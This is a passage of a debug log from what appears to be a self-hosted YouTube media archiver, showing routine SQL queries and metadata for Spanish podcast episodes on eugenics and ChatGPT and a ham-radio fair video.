puedes hacer desde los tres puntos de la esquina superior derecha ▫️▫️▫️\n\n#IAMIQUE #Origen #IAGen #GenAI #Genetica #Genetic #DNA #ADN #Eugenesia\n\nSigue a nuestras compañías también: \n👉🏼 ORIGEN CORPORACIÓN BIOTECH\n👉🏼 lifely by Origen Genetics", "duration" => 644, "filename" => "/downloads/music/IA mí QUÉ/EP:41 - EUGENESIA.m4a", "id" => "BAwxK9zdoSs", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=BAwxK9zdoSs", "playlist_index" => 11, "timestamp" => 1765556968, "title" => "EP:41 - EUGENESIA", "upload_date" => "20251212"} 22:02:47.066 [debug] QUERY OK source="sources" db=0.6ms idle=1333.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 22:02:47.067 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1334.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:02:47.068 [debug] QUERY OK source="media_items" db=0.8ms queue=0.1ms idle=1335.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-12 16:29:28Z], 2] 22:02:47.070 [debug] QUERY OK source="media_items" db=1.2ms idle=1336.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["#IAMIQUE 👉🏼 Ep 4️⃣1️⃣: Eugenesia 🧬👶🏻\n\nHoy venimos fuerte... si sabes lo que es... NOS ESCUCHARAS, y sino sabes lo que es DEBERIAS ESCUCHARNOS.\n\nHoy David García Martínez y yo no os vamos a contar nada de una IA (anque podriamos hoy sale Chatgpt 5.2 🫣), os vamos a hablar de un concepto que se puede poner de moda, la selección antinatural, la eugenesia. Es un temazo que da para un buen café, cerveza o cena con los amigos. \n\nComo no quiero hacer mucho spoiler aquí me quedo, TIENES QUE ESCUCHARLO, y a lo largo del día, te podre un documental de Netflix que habla de esto también. \n\ny por fa 🙏 (si quieres ayudarnos) :\n\n👐🏼 Dale a Compartir para darnos visibilidad\n ✍🏼 Escribe un comentario, opina!\n 🫶🏼 y ya la leche.... darnos un like (o no)\n 🫵🏼 y siempre .... contamos contigo\n\n✅🗃️Y dale a guardar para ver el video mas tarde si ahora no tienes tiempo, lo puedes hacer desde los tres puntos de la esquina superior derecha ▫️▫️▫️\n\n#IAMIQUE #Origen #IAGen #GenAI #Genetica #Genetic #DNA #ADN #Eugenesia\n\nSigue a nuestras compañías también: \n👉🏼 ORIGEN CORPORACIÓN BIOTECH\n👉🏼 lifely by Origen Genetics", "EP:41 - EUGENESIA", "acfa9210-1db2-4f14-afb2-5e4ffbfd0583", 644, false, "BAwxK9zdoSs", "https://www.youtube.com/watch?v=BAwxK9zdoSs", 11, "/downloads/music/IA mí QUÉ/EP:41 - EUGENESIA.m4a", false, false, false, 2, [], 98, ~U[2025-12-12 16:29:28Z], ~U[2026-02-07 21:02:47Z], ~U[2026-02-07 21:02:47Z], "#IAMIQUE 👉🏼 Ep 4️⃣1️⃣: Eugenesia 🧬👶🏻\n\nHoy venimos fuerte... si sabes lo que es... NOS ESCUCHARAS, y sino sabes lo que es DEBERIAS ESCUCHARNOS.\n\nHoy David García Martínez y yo no os vamos a contar nada de una IA (anque podriamos hoy sale Chatgpt 5.2 🫣), os vamos a hablar de un concepto que se puede poner de moda, la selección antinatural, la eugenesia. Es un temazo que da para un buen café, cerveza o cena con los amigos. \n\nComo no quiero hacer mucho spoiler aquí me quedo, TIENES QUE ESCUCHARLO, y a lo largo del día, te podre un documental de Netflix que habla de esto también. \n\ny por fa 🙏 (si quieres ayudarnos) :\n\n👐🏼 Dale a Compartir para darnos visibilidad\n ✍🏼 Escribe un comentario, opina!\n 🫶🏼 y ya la leche.... darnos un like (o no)\n 🫵🏼 y siempre .... contamos contigo\n\n✅🗃️Y dale a guardar para ver el video mas tarde si ahora no tienes tiempo, lo puedes hacer desde los tres puntos de la esquina superior derecha ▫️▫️▫️\n\n#IAMIQUE #Origen #IAGen #GenAI #Genetica #Genetic #DNA #ADN #Eugenesia\n\nSigue a nuestras compañías también: \n👉🏼 ORIGEN CORPORACIÓN BIOTECH\n👉🏼 lifely by Origen Genetics", "EP:41 - EUGENESIA", 644, false, "BAwxK9zdoSs", "https://www.youtube.com/watch?v=BAwxK9zdoSs", "/downloads/music/IA mí QUÉ/EP:41 - EUGENESIA.m4a", false, 2, ~U[2025-12-12 16:29:28Z]] 22:02:47.071 [debug] QUERY OK source="sources" db=0.5ms idle=357.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:02:47.072 [debug] QUERY OK source="media_profiles" db=0.5ms queue=0.1ms idle=4.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:02:47.073 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=4.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1263] 22:02:47.073 [debug] Current batch of media processed. Will check again in 1000ms 22:02:47.117 [debug] Current batch of media processed. Will check again in 1000ms 22:02:48.073 [debug] Current batch of media processed. Will check again in 1000ms 22:02:48.118 [debug] Current batch of media processed. Will check again in 1000ms 22:02:49.074 [debug] Current batch of media processed. Will check again in 1000ms 22:02:49.119 [debug] Current batch of media processed. Will check again in 1000ms 22:02:50.075 [debug] Current batch of media processed. Will check again in 1000ms 22:02:50.120 [debug] Current batch of media processed. Will check again in 1000ms 22:02:51.076 [debug] Current batch of media processed. Will check again in 1000ms 22:02:51.109 [info] {"source":"oban","duration":1022,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:02:51.121 [debug] Current batch of media processed. Will check again in 1000ms 22:02:52.077 [debug] Current batch of media processed. Will check again in 1000ms 22:02:52.122 [debug] Current batch of media processed. Will check again in 1000ms 22:02:53.078 [debug] Current batch of media processed. Will check again in 1000ms 22:02:53.123 [debug] Current batch of media processed. Will check again in 1000ms 22:02:54.079 [debug] Current batch of media processed. Will check again in 1000ms 22:02:54.124 [debug] Current batch of media processed. Will check again in 1000ms 22:02:55.080 [debug] Current batch of media processed. Will check again in 1000ms 22:02:55.125 [debug] Current batch of media processed. Will check again in 1000ms 22:02:56.081 [debug] Current batch of media processed. Will check again in 1000ms 22:02:56.126 [debug] Current batch of media processed. Will check again in 1000ms 22:02:57.082 [debug] Current batch of media processed. Will check again in 1000ms 22:02:57.127 [debug] Current batch of media processed. Will check again in 1000ms 22:02:58.083 [debug] Current batch of media processed. Will check again in 1000ms 22:02:58.128 [debug] Current batch of media processed. Will check again in 1000ms 22:02:59.084 [debug] Current batch of media processed. Will check again in 1000ms 22:02:59.129 [debug] Current batch of media processed. Will check again in 1000ms 22:03:00.079 [info] {"source":"oban","duration":667,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:03:00.085 [debug] Current batch of media processed. Will check again in 1000ms 22:03:00.130 [debug] Current batch of media processed. Will check again in 1000ms 22:03:01.086 [debug] Current batch of media processed. Will check again in 1000ms 22:03:01.131 [debug] Current batch of media processed. Will check again in 1000ms 22:03:02.087 [debug] Current batch of media processed. Will check again in 1000ms 22:03:02.132 [debug] Current batch of media processed. Will check again in 1000ms 22:03:03.088 [debug] Current batch of media processed. Will check again in 1000ms 22:03:03.133 [debug] Current batch of media processed. Will check again in 1000ms 22:03:04.089 [debug] Current batch of media processed. Will check again in 1000ms 22:03:04.134 [debug] Current batch of media processed. Will check again in 1000ms 22:03:05.090 [debug] Current batch of media processed. Will check again in 1000ms 22:03:05.135 [debug] Current batch of media processed. Will check again in 1000ms 22:03:06.091 [debug] Current batch of media processed. Will check again in 1000ms 22:03:06.136 [debug] Current batch of media processed. Will check again in 1000ms 22:03:07.092 [debug] Current batch of media processed. Will check again in 1000ms 22:03:07.137 [debug] Current batch of media processed. Will check again in 1000ms 22:03:08.093 [debug] Current batch of media processed. Will check again in 1000ms 22:03:08.138 [debug] Current batch of media processed. Will check again in 1000ms 22:03:09.094 [debug] Current batch of media processed. Will check again in 1000ms 22:03:09.139 [debug] Current batch of media processed. Will check again in 1000ms 22:03:10.095 [debug] Current batch of media processed. Will check again in 1000ms 22:03:10.140 [debug] Current batch of media processed. Will check again in 1000ms 22:03:11.096 [debug] Current batch of media processed. Will check again in 1000ms 22:03:11.141 [debug] Current batch of media processed. Will check again in 1000ms 22:03:12.097 [debug] Current batch of media processed. Will check again in 1000ms 22:03:12.142 [debug] Current batch of media processed. Will check again in 1000ms 22:03:13.098 [debug] Current batch of media processed. Will check again in 1000ms 22:03:13.143 [debug] Current batch of media processed. Will check again in 1000ms 22:03:14.099 [debug] Current batch of media processed. Will check again in 1000ms 22:03:14.144 [debug] Current batch of media processed. Will check again in 1000ms 22:03:15.100 [debug] Current batch of media processed. Will check again in 1000ms 22:03:15.145 [debug] Current batch of media processed. Will check again in 1000ms 22:03:16.101 [debug] Current batch of media processed. Will check again in 1000ms 22:03:16.146 [debug] Current batch of media processed. Will check again in 1000ms 22:03:17.102 [debug] Current batch of media processed. Will check again in 1000ms 22:03:17.147 [debug] Current batch of media processed. Will check again in 1000ms 22:03:18.103 [debug] Current batch of media processed. Will check again in 1000ms 22:03:18.148 [debug] Current batch of media processed. Will check again in 1000ms 22:03:19.104 [debug] Current batch of media processed. Will check again in 1000ms 22:03:19.149 [debug] Current batch of media processed. Will check again in 1000ms 22:03:20.105 [debug] Current batch of media processed. Will check again in 1000ms 22:03:20.150 [debug] Current batch of media processed. Will check again in 1000ms 22:03:21.106 [debug] Current batch of media processed. Will check again in 1000ms 22:03:21.111 [info] {"source":"oban","duration":1080,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:03:21.151 [debug] Current batch of media processed. Will check again in 1000ms 22:03:22.107 [debug] Current batch of media processed. Will check again in 1000ms 22:03:22.152 [debug] Current batch of media processed. Will check again in 1000ms 22:03:23.108 [debug] Current batch of media processed. Will check again in 1000ms 22:03:23.153 [debug] Current batch of media processed. Will check again in 1000ms 22:03:24.109 [debug] Current batch of media processed. Will check again in 1000ms 22:03:24.154 [debug] Current batch of media processed. Will check again in 1000ms 22:03:25.110 [debug] Current batch of media processed. Will check again in 1000ms 22:03:25.155 [debug] Current batch of media processed. Will check again in 1000ms 22:03:26.111 [debug] Current batch of media processed. Will check again in 1000ms 22:03:26.156 [debug] Current batch of media processed. Will check again in 1000ms 22:03:27.112 [debug] Current batch of media processed. Will check again in 1000ms 22:03:27.157 [debug] Current batch of media processed. Will check again in 1000ms 22:03:28.113 [debug] Current batch of media processed. Will check again in 1000ms 22:03:28.158 [debug] Current batch of media processed. Will check again in 1000ms 22:03:29.114 [debug] Current batch of media processed. Will check again in 1000ms 22:03:29.159 [debug] Current batch of media processed. Will check again in 1000ms 22:03:30.115 [debug] Current batch of media processed. Will check again in 1000ms 22:03:30.160 [debug] Current batch of media processed. Will check again in 1000ms 22:03:31.116 [debug] Current batch of media processed. Will check again in 1000ms 22:03:31.161 [debug] Current batch of media processed. Will check again in 1000ms 22:03:32.117 [debug] Current batch of media processed. Will check again in 1000ms 22:03:32.162 [debug] Current batch of media processed. Will check again in 1000ms 22:03:33.118 [debug] Current batch of media processed. Will check again in 1000ms 22:03:33.163 [debug] Current batch of media processed. Will check again in 1000ms 22:03:34.119 [debug] Current batch of media processed. Will check again in 1000ms 22:03:34.164 [debug] Current batch of media processed. Will check again in 1000ms 22:03:35.120 [debug] Current batch of media processed. Will check again in 1000ms 22:03:35.165 [debug] Current batch of media processed. Will check again in 1000ms 22:03:36.121 [debug] Current batch of media processed. Will check again in 1000ms 22:03:36.166 [debug] Current batch of media processed. Will check again in 1000ms 22:03:37.122 [debug] Current batch of media processed. Will check again in 1000ms 22:03:37.167 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Mi visita (con remojón a la vuelta) al Iberradio 2025 en Ávila. Una experiencia inmejorable donde he podido saludar a muchos de vosotros (y eso ha sido lo mejor de toda la feria sin duda). Os pongo el video en modo paseo, sin comentarios mios y con el audio de la propia feria.\n\n#iberradio #feria #telecomunicaciones #ure #radioaficionados #hamradio \n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "duration" => 1178, "filename" => "/downloads/music/ea3grn/Viaje al iberradio 2025.m4a", "id" => "8s_dUuRScMY", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=8s_dUuRScMY", "playlist_index" => 12, "timestamp" => 1758546018, "title" => "Viaje al iberradio 2025", "upload_date" => "20250922"} 22:03:37.168 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=435.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 22:03:37.169 [debug] QUERY OK source="sources" db=0.6ms idle=436.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:03:37.170 [debug] QUERY OK source="media_items" db=0.6ms idle=436.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-09-22 13:00:18Z], 3] 22:03:37.172 [debug] QUERY OK source="media_items" db=1.4ms queue=0.1ms idle=437.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Mi visita (con remojón a la vuelta) al Iberradio 2025 en Ávila. Una experiencia inmejorable donde he podido saludar a muchos de vosotros (y eso ha sido lo mejor de toda la feria sin duda). Os pongo el video en modo paseo, sin comentarios mios y con el audio de la propia feria.\n\n#iberradio #feria #telecomunicaciones #ure #radioaficionados #hamradio \n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "Viaje al iberradio 2025", "f8abf9cf-5ec7-451f-8acc-6afb4d41f94f", 1178, false, "8s_dUuRScMY", "https://www.youtube.com/watch?v=8s_dUuRScMY", 12, "/downloads/music/ea3grn/Viaje al iberradio 2025.m4a", false, false, false, 3, [], 98, ~U[2025-09-22 13:00:18Z], ~U[2026-02-07 21:03:37Z], ~U[2026-02-07 21:03:37Z], "Mi visita (con remojón a la vuelta) al Iberradio 2025 en Ávila. Una experiencia inmejorable donde he podido saludar a muchos de vosotros (y eso ha sido lo mejor de toda la feria sin duda). Os pongo el video en modo paseo, sin comentarios mios y con el audio de la propia feria.\n\n#iberradio #feria #telecomunicaciones #ure #radioaficionados #hamradio \n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "Viaje al iberradio 2025", 1178, false, "8s_dUuRScMY", "https://www.youtube.com/watch?v=8s_dUuRScMY", "/downloads/music/ea3grn/Viaje al iberradio 2025.m4a", false, 3, ~U[2025-09-22 13:00:18Z]] 22:03:37.173 [debug] QUERY OK source="sources" db=0.5ms idle=363.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:03:37.174 [debug] QUERY OK source="media_profiles" db=0.5ms idle=4.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:03:37.174 [debug] QUERY OK source="media_items" db=0.5ms idle=4.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1307] 22:03:37.175 [debug] Current batch of media processed. Will check again in 1000ms 22:03:38.123 [debug] Current batch of media processed. Will check again in 1000ms 22:03:38.175 [debug] Current batch of media processed. Will check again in 1000ms 22:03:39.124 [debug] Current batch of media processed. Will check again in 1000ms 22:03:39.176 [debug] Current batch of media processed. Will check again in 1000ms 22:03:40.125 [debug] Current batch of media processed. Will check again in 1000ms 22:03:40.177 [debug] Current batch of media processed. Will check again in 1000ms 22:03:41.126 [debug] Current batch of media processed. Will check again in 1000ms 22:03:41.178 [debug] Current batch of media processed. Will check again in 1000ms 22:03:42.127 [debug] Current batch of media processed. Will check again in 1000ms 22:03:42.179 [debug] Current batch of media processed. Will check again in 1000ms 22:03:43.128 [debug] Current batch of media processed. Will check again in 1000ms 22:03:43.180 [debug] Current batch of media processed. Will check again in 1000ms 22:03:44.129 [debug] Current batch of media processed. Will check again in 1000ms 22:03:44.181 [debug] Current batch of media processed. Will check again in 1000ms 22:03:45.130 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "", "duration" => 860, "filename" => "/downloads/music/IA mí QUÉ/EP.39: 3 AÑOS DE CHATGPT.m4a", "id" => "uJlZjwqyNXE", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=uJlZjwqyNXE", "playlist_index" => 12, "timestamp" => 1764318103, "title" => "EP.39: 3 AÑOS DE CHATGPT", "upload_date" => "20251128"} 22:03:45.131 [debug] QUERY OK source="sources" db=0.5ms idle=398.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 22:03:45.132 [debug] QUERY OK source="sources" db=0.4ms idle=399.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:03:45.133 [debug] QUERY OK source="media_items" db=0.7ms idle=399.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-28 08:21:43Z], 2] 22:03:45.134 [debug] QUERY OK source="media_items" db=0.7ms idle=400.6ms INSERT INTO "media_items" AS m0 ("title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["EP.39: 3 AÑOS DE CHATGPT", "3d2edda4-0da2-47b5-9687-4c63bed9c304", 860, false, "uJlZjwqyNXE", "https://www.youtube.com/watch?v=uJlZjwqyNXE", 12, "/downloads/music/IA mí QUÉ/EP.39: 3 AÑOS DE CHATGPT.m4a", false, false, false, 2, [], 98, ~U[2025-11-28 08:21:43Z], ~U[2026-02-07 21:03:45Z], ~U[2026-02-07 21:03:45Z], "", "EP.39: 3 AÑOS DE CHATGPT", 860, false, "uJlZjwqyNXE", "https://www.youtube.com/watch?v=uJlZjwqyNXE", "/downloads/music/IA mí QUÉ/EP.39: 3 AÑOS DE CHATGPT.m4a", false, 2, ~U[2025-11-28 08:21:43Z]] 22:03:45.135 [debug] QUERY OK source="sources" db=0.7ms idle=309.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:03:45.135 [debug] QUERY OK source="media_profiles" db=0.4ms idle=3.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:03:45.136 [debug] QUERY OK source="media_items" db=0.6ms idle=3.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND 